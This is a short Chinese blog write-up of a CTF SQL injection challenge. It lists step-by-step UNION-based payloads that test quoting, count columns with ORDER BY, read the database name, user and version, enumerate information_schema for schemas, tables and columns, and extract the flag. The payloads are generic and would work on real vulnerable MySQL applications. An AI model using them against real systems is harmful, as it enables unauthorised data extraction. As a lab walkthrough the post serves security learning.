zoukankan      html  css  js  c++  java
  • 一道简单的SQL注入题

    当post方法发送id=1时能够正常显示成绩,当id=1a时同样也可以正常显示成绩,猜测为数字型SQL注入。
    image.png
    构造id=1'发现不能正常显示成绩,构造id=1'#能够成功显示,接下来只需要按照一般的步骤做就行了。
    image.png


    探测字段使用二分法找到字段数量,当id=1' order by 4#时不报错。
    构造id=-1' union select 1,2,3,4 #根据显示发现代码执行成功。
    image.png
    构造id=-1' union select 1,database(),user(),version() #可以查看相关信息,发现显示存储成绩的数据库名称为skctf。
    image.png
    构造id=-1' union select 1,database(),group_concat(schema_name),version() from information_schema.schemata#可以发现一共有4个数据库。
    image.png
    构造id=-1' union select 1,database(),group_concat(table_name),version() from information_schema.tables where table_schema=database()#得到skctf下的表名。
    image.png
    构造id=-1' union select 1,database(),group_concat(column_name),version() from information_schema.columns where table_schema=database() and table_name='fl4g'#得到fl4g下的字段名。
    image.png
    构造id=-1' union select 1,skctf_flag,3,4 from skctf.fl4g#得到flag。
    image.png

  • 相关阅读:
    高可用性机制
    Moodle课程资源系统安装
    Windows 10 安装 chocolatey
    centos7安装samba服务器
    抽签网页板代码
    CentOS7系统操作httpd服务
    centos7.2下放行端口
    centos7没有netstat命令的解决办法
    Linux
    Linux下常用服务的端口号超详细整理
  • 原文地址:https://www.cnblogs.com/xgcl/p/14546146.html
Copyright © 2011-2022 走看看